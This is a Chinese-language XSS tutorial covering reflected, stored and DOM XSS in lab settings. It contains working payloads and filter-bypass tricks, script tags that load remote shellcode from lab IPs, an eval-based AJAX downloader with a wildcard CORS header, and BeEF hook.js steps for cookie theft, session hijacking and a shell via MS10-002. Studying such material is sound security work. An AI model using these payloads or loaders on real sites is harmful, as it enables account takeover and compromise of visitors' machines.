一、简介和基本概念
跨站脚本攻击(XSS)是一种常见的网络安全漏洞,攻击者通过在网页中注入恶意脚本,使其在用户浏览器中执行,从而窃取用户信息、会话Cookie或进行其他恶意操作。XSS攻击通常分为反射型、存储型和DOM型三种类型。反射型XSS攻击通过诱使用户点击恶意链接触发,存储型XSS攻击则将恶意脚本存储在服务器端,影响所有访问该页面的用户,而DOM型XSS攻击则完全在客户端执行,不经过服务器。XSS攻击的危害包括窃取用户敏感信息、篡改网页内容、发起钓鱼攻击等。防御XSS攻击的关键在于对用户输入进行严格的验证、过滤和转义,同时使用内容安全策略(CSP)等安全机制来限制脚本的执行。开发者应始终遵循安全编码规范,定期进行安全测试,以有效防范XSS攻击,保护用户数据和隐私安全。
XSS被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS (Cascading Style Sheets,层叠样式脚本)重名,所以更名为XSS。XSS (跨站脚本攻击)主要基于javascript (JS) 完成恶意的攻击行为。JS可以非常灵活的操作html、css和浏览器,这使得XSS攻击的“想象”空间特别大。
1.1 特点
- 发生的位置:服务器。
- 攻击的目标:浏览器、用户。
- 漏洞成因:没有对用户输入进行严格过滤。
- 主要依靠的payload代码:js。
- 主要攻击思路:攻击者将恶意代码注入服务端,受害者在没有安全防护的前提下访问服务端网站,浏览器解析执行恶意的JS代码,受害者被攻击。
三个角色:攻击者、服务器、浏览器-受害者-客户端-用户
微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入XSS代码,都存在遭受XSS的风险,只要没有对用户的输入进行严格过滤,就会被XSS。
1.2 危害
- 盗取用户账号
- 盗取cookie ,冒充登陆
- 劫持会话
- 刷流量,执行弹窗广告
- 传播蠕虫病毒
术语概念补充:
PoC(Proof of Concept):漏洞的验证与检测
EXP:漏洞的完整利用工具
shellcode:利用漏洞时,所执行的代码
payload:攻击载荷
常用的XSS PoC:
<script>alert(/xss/)</script> <script>confirm('xss')</script> <script>prompt('xss')</script>
1.3 实战平台
- DVWA XSS
- Buuoj XSS类题目
- XSS通关小游戏:
- 在线地址:http://test.ctf8.com/
- 本地搭建:需要php+mysql的环境,源代码:https://github.com/do0dl3/xss-labs
- 本地部署方法和writeup:见本站的《web-xss-labs》一文。
二、XSS漏洞分类
2.1 反射型XSS:
非持久、参数型(通过web参数变量触发)。 反射型XSS是非持久性、参数型的跨站脚本攻击。反射型XSS的JS代码在Web应用的参数(变量) 中,如搜索框的反射型XSS。
例如:
在搜索框中,提交PoC[<script>alert(/xss/)</script>],点击搜索,即可触发反射型XSS。注意到,我们提交的poc会出现在search.php页面的keywords参数中。
反射型xss实战
CMS 反射型xss验证:
搜索框输入:
![]()
搜索的关键字被回显:
![]()
xss漏洞测试:
![]()
![]()
提交的PoC在keywords参数中。
2.2 存储型XSS
存储型XSS是持久性跨站脚本攻击。持久性体现在XSS代码不是在某个参数(变量) 中,而是写进数据库或文件等可以永久保存数据的介质中。
存储型XSS通常发生在留言板等地方。我们在留言板位置留言,将恶意代码写进数据库中。 此时,我们只完成了第一步,将恶意代码写入数据库。因为XSS使用的JS代码,JS代码的运行环境是浏览器,所以需要浏览器从服务器载入恶意的XSS代码,才能真正触发XSS。此时,需要我们模拟网站后台管理员的身份,查看留言。
存储型XSS实战
留言板恶意留言:
![]()
![]()
管理员审核(管理员被感染):
![]()
一旦通过审核其他能看到此留言的用户均会被感染:
![]()
2.3 DOM型XSS
DOM XSS比较特殊。owasp关于DOM型XSS的定义是:基于DOM的XSS是一种XSS攻击,其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的。其特殊的地方就是payload在浏览器本地修改DOM树而执行,并不会传到服务器 上,这也就使得DOM XSS比较难以检测。
如下面的例子:
#message=<script>alert(/xss/)</script>
DOM型XSS实战
![]()
![]()
![]()
![]()
![]()
源代码中没有PoC
但是DOM树中有:
![]()
元素查看器中可以看到PoC。原因:修改DOM树后,浏览器重新渲染页面,执行PoC。
![]()
?改成#也能弹窗。
#后面的内容是锚点内容,不会提交到服务器,所以服务器也就检测不到该XSS攻击。
防御-浏览器安装防XSS的功能。
三、XSS代码的构造
3.1 四种构造方法
3.1.1 利用<>构造HTML/JS代码
可以利用[<>]构造HTML 标签和<script>
标签。
<script>alert(/xss/)</script>
<img src=x onerror=alert(1)>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
3.1.2 伪协议
<a href="javascript:alert(/xss/)">touch me!</a>
利用CSS跨站(old)主流浏览器不支持,IE6可以(IE浏览器已退出历史舞台)。
什么是javascript伪协议?
JavaScript 伪协议是一种在 URL 中使用
javascript:
来执行 JavaScript 代码的方式。它允许在链接或地址栏中直接运行 JavaScript 代码,而不是加载一个新页面。<a href="javascript:alert('Hello, World!');">点击我</a>
点击这个链接时,浏览器会执行
alert('Hello, World!');
,而不是跳转到一个新页面。
3.1.3 事件
“事件驱动”是一种比较经典的编程思想。在网页中会发生很多事件(比如鼠标移动,键盘输入等),JS可以对这些事件进行响应。所以我们可以通过事件触发JS函数,触发XSS。
windows 事件:对windows对象触发的事件。
Form事件:HTML表单内的动作触发事件。
Keyboard 事件:键盘按键。
Mouse 事件:由鼠标或类似用户动作触发的事件。
Media 事件:由多媒体触发的事件。
<img src='./smile.jpg' onmouseover='alert(/xss/)'> //鼠标悬停在图片上的时候,会触发XSS代码
<input type= "text" onkeydown="alert(/xss/)"> //当点击键盘任意一个按键的时候触发。
<input type= "text" onkeyup="alert(/xss/)"> //松开键盘按钮触发
<input type= "button" onclick="alert(/xss/)" //点击按钮触发
<img src='./smile.jpg' onerror='alert(/xss/)'> //文档载入失败触发
基于事件触发XSS实战:
- 鼠标悬停触发XSS
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
这个标签会引入一个图片,然后鼠标悬停在图片上的时候,会触发XSS代码。
![]()
- 单行文本框的键盘点击事件
<input type= "text" onkeydown="alert(/xss/)">
当点击键盘任意一个按键的时候触发。
![]()
3.1.4 其他标签和手法
3.2 八种变形(为了绕过过滤器的检测)方法
3.2.1 双写绕过
<script>
<scr<script>ipt>
3.2.2 大小写转换(用在标签名和属性名上)
⚠️原理:HTML对大小写不敏感、JS对大小写敏感。
js对大小写敏感,那么js过滤器就需要考虑大小写的不同,一旦没有考虑周全,那么绕过去的恶意代码就可以被html解析执行,因为html不在意大小写。
例子:
3.2.3 引号的使用
⚠️原理:HTML对引号不敏感,但是某些过滤函数对引号敏感
3.2.4 [/]代替空格
除了正斜杠/
绕过空格过滤外,下面的符号也可以用于绕过空格过滤。
换行符(LF):%0a
制表符(HT):%09
回车符(CR):%0d
`%0a%0d`和`%0d%0a`组合使用也可以用来尝试绕过空格过滤。
3.2.5 水平制表符、回车(用在属性值上)
可以在一些位置添加Tab (水平制表符)和回车符,来绕过关键字检测。
3.2.6 对标签的属性值进行转码(用在属性值上)
3.2.7 拆分跨站
四、shellcode的调用
Shellcode就是在利用漏洞时所执行的代码。完整的XSS攻击,会将Shellcode存放在一定的地方, 然后触发漏洞,调用Shellcode。
4.1 远程调用
利用img、script等标签的src属性,通过http请求,远程包含shellcode。
可以将JS代码单独放在一个js文件中,然后通过http协议远程加载该脚本。如:
<script src="http:/ /172.16.132.138/XSS -TEST/normal/xss.js"></script>
这是比较常用的方式。
远程调用XSS shellcode实战
![]()
payload:
<img src="http://192.168.33.4/xss.js" /> <script src="http://192.168.33.4/xss.js"></script>
![]()
理解危害?
一旦服务器存在xss漏洞,以反射型为例,黑客可以构造恶意链接或者图片,诱导用户主动触发XSS漏洞,远程包含shellcode,进而攻击受害者。
4.2 window.location.hash
我们也可以使用js中的windows.location.hash方法获取浏览器URL地址栏的XSS代码。
windows. location.hash会获取URL中#后面的内容,例如
[http: /domain. com/ index . php#AJEST], windows.location.hash的值就[#AJEST]。
例如我们可以构造如下代码
?submit=submit&xsscode=<script>eval(location.hash.substr(1))</script>#alert(/XSS/)
直接提交到测试页面xss.php。
window.location.hash执行xss代码示例
![]()
利用windows.location.hash+substr方法获取#后面的JS代码,带入eval函数执行。
系统在对name的值进行回显的时候,浏览器监测到
<script>
标签,解释执行其中的JS代码。
参数不会提交到服务器,不容易被WAF检测到。
4.3 XSS 下载器
将恶意代码包含在一个网页中,利用AJAX技术获取网页,提取恶意代码。
在使用XSS Downloader之前需要一个我们自己的页面,xss_downloader.php,内容如下:
常见的下载器如下:
<script>
function XSS(){
if (window.XMLHttpRequest) {
a = new XMLHttpRequest( );
} else if (window. ActiveXObject) {
a=new ActiveX0bject ("Microsoft. XMLHTTP") ;
}else{
return;
}
a.open( 'get', 'http: /172.16.132.161/XSS-TESTnormal/xss_downloader.php' , false);
a.send( );
b=a.responseText ;
eval(unescape( b.substring(b.index0f( 'BOF| ' )+4, b.index0f('EOF'))));
}
XSS() ;
</script>
应对同源策略限制:
AJAX技术会受到浏览器同源策略的限制,为了解决这个问题,我们需要在服务器端代码中添加如下内容。
<?php
header( ' Access-Control-Allow-Origin: *') ;
header( ' Access-Control-Allow-Headers: Origin, X-Requested-With ,Content-Type, Accept') ;
?>
通过XSS下载器执行shellcode实战
1、准备包含XSS shellcode代码的页面:
http://192.168.33.4/xss-script/xssdownloader.php
![]()
2、用XSS下载器提取代码并执行。
<script> function XSS(){ if(window.XMLHttpRequest){ a=new XMLHttpRequest(); }else if(window.ActiveXObject){ a=new ActiveXObject("Microsoft.XMLHTTP"); }else{ return; } a.open('get',' http://192.168.33.4/xss-script/xssdownloader.php',false); a.send(); b=a.responseText; eval(unescape(b.substring(b.index0f('BOF|')+4,b.index0f('EOF')))); } XSS(); </script>
无法弹窗,可能是同源策略影响。
3、应对同源策略
![]()
4.4 备选存储技术
我们可以把Shellcode存储在客户端的本地域中,比如HTTP Cookie、 Flash共享对象、UserData、localStorage 等。
用cookie等变量存储XSS代码。
网站获取用户名,name=用户名,为一条cookie记录,恶意攻击者将用户名设置为恶意的JS脚本,如果网站打印回显该用户名,那么会出发JS代码执行。
五、使用终极PoC测试过滤器的过滤内容
<script " ' Oonn>
<script script" ' Oonn>
<script SCRscriptIPT " ' Oonn>
六、XSS的防御
6.1 XSS 过滤器
- 输入过滤:
- 输入验证:简单的说,输入验证就是对用户提交的信息进行有效验证,仅接受指定长度范围内的,采用适当格式的内容提交,阻止或者忽略除此之外的其他任何数据。
- 数据消毒:过滤和净化掉有害的输入。
- 输出编码:HTML编码主要是用对应的HTML实体代替字符。
- 黑白名单:不管是采用输入过滤还是输出编码,都是针对数据信息进行黑|白名单式的过滤。黑名单,非允许数据。白名单,允许的数据
6.2 抵御 DOM-XSS攻击
- 避免用户端文档重写、重定向等敏感操作
七、漏洞利用工具和平台
7.1 xss平台
7.2 beef-xss
远程执行shellcode之后进行如下攻击操作:
- Cookie窃取,冒充管理员登陆
- 浏览器劫持
- 利用msf+beef重定向+ms10-002(XSS漏洞) 对XP 进行getshell
Beef-xss使用案例:
1、安装和配置
安装beef: https://blog.csdn.net/whoim_i/article/details/102877616
apt-get install beef-xss
![]()
安装成功。
beef-xss 【启动beef】
![]()
提示修改密码:123.com
启动成功。自动打开web界面。
http://127.0.0.1:3000/ui/authentication
http://192.168.33.12:3000/ui/authentication
[beef 123.com 登陆]
vim config.yaml 【修改配置文件】
![]()
配置文件的用户名密码修改位置。
2、使用
beef集成在kali中,工具目录/usr/share/beef-xss
配置文件:config.yaml
修改默认用户名和密码
20行、21行左右
![]()
启动beef: F1:./beef 、 F2:beef-xss 【不受目录限制】
web界面的管理控制台:
http://127.0.0.1:3000/ui/panel
用户名密码登陆。
shellcode:
http://%3CIP%3E:3000/hook.js
![]()
3、实际案例
环境:win2008【服务器、 CMS留言板 】192.168.33.4
winxp 【受害者、网站管理员】 192.168.33.10
kali 【攻击者】 192.168.33.12/24
ms10002 xp xss漏洞getshell
ms12063 win7 xss漏洞getshell
EX1:浏览器劫持-「eg:重定向」
1)攻击者登陆留言板留言
![]()
2)管理员登陆系统审核留言,遭受攻击、执行shellcode
admin 123456
![]()
受害者上线。
![]()
3)执行重定向,将用户导向其他链接
![]()
EX2:cookie窃取和欺骗(固定会话攻击)「eg:盗取管理员cookie登陆后台(被攻击者注销之后攻击者仍然能登陆)」
接着EX1
![]()
窃取cookie信息:
![]()
攻击者冒充管理员登陆:
![]()
直接登陆后台;
![]()
管理员注销自己的登陆之后,攻击者依然可以访问后台。
EX3:利用浏览器漏洞getshell
MS10-002 是微软在 2010 年 1 月发布的一个安全公告,涉及 Microsoft Internet Explorer 浏览器中的一个严重漏洞。该漏洞的编号为 CVE-2010-0249,是 Internet Explorer 6 和 7 版本中的一个远程代码执行漏洞。
工具-msf
![]()
成功基于XSS和ms10-002获取shell。